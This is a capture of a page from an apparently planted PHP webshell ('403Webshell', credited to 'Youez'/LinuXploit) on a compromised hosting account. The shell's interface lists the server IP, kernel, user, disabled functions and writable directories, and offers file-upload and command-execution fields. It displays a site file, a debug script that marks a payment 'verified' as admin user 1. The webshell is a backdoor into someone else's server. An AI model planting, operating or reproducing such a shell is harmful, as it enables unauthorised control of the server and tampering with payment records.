403Webshell
Server IP : 72.60.21.38  /  Your IP : 216.73.217.154
Web Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/test_debug_payment.php
<?php
require_once 'includes/db.php';

// List payments
echo "Payments:\n";
$stmt = $pdo->query("SELECT id, status, approved_by FROM payments LIMIT 5");
$payments = $stmt->fetchAll(PDO::FETCH_ASSOC);
print_r($payments);

if (!empty($payments)) {
    $id = $payments[0]['id'];
    $new_status = 'verified';
    $user_id = 1; // Assuming admin user id 1

    echo "\nUpdating Payment ID $id to '$new_status' by User $user_id...\n";

    try {
        $pdo->beginTransaction();
        $stmt = $pdo->prepare("UPDATE payments SET status = ?, approved_by = ?, approval_date = NOW() WHERE id = ?");
        $result = $stmt->execute([$new_status, $user_id, $id]);
        
        echo "Execute result: " . ($result ? "True" : "False") . "\n";
        echo "Rows affected: " . $stmt->rowCount() . "\n";
        
        if ($stmt->rowCount() > 0) {
            $pdo->commit();
            echo "Committed.\n";
        } else {
            $pdo->rollBack();
            echo "Rolled back (no rows affected).\n";
        }
    } catch (Exception $e) {
        $pdo->rollBack();
        echo "Error: " . $e->getMessage() . "\n";
    }

    // Check result
    $stmt = $pdo->prepare("SELECT id, status, approved_by FROM payments WHERE id = ?");
    $stmt->execute([$id]);
    print_r($stmt->fetch(PDO::FETCH_ASSOC));
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit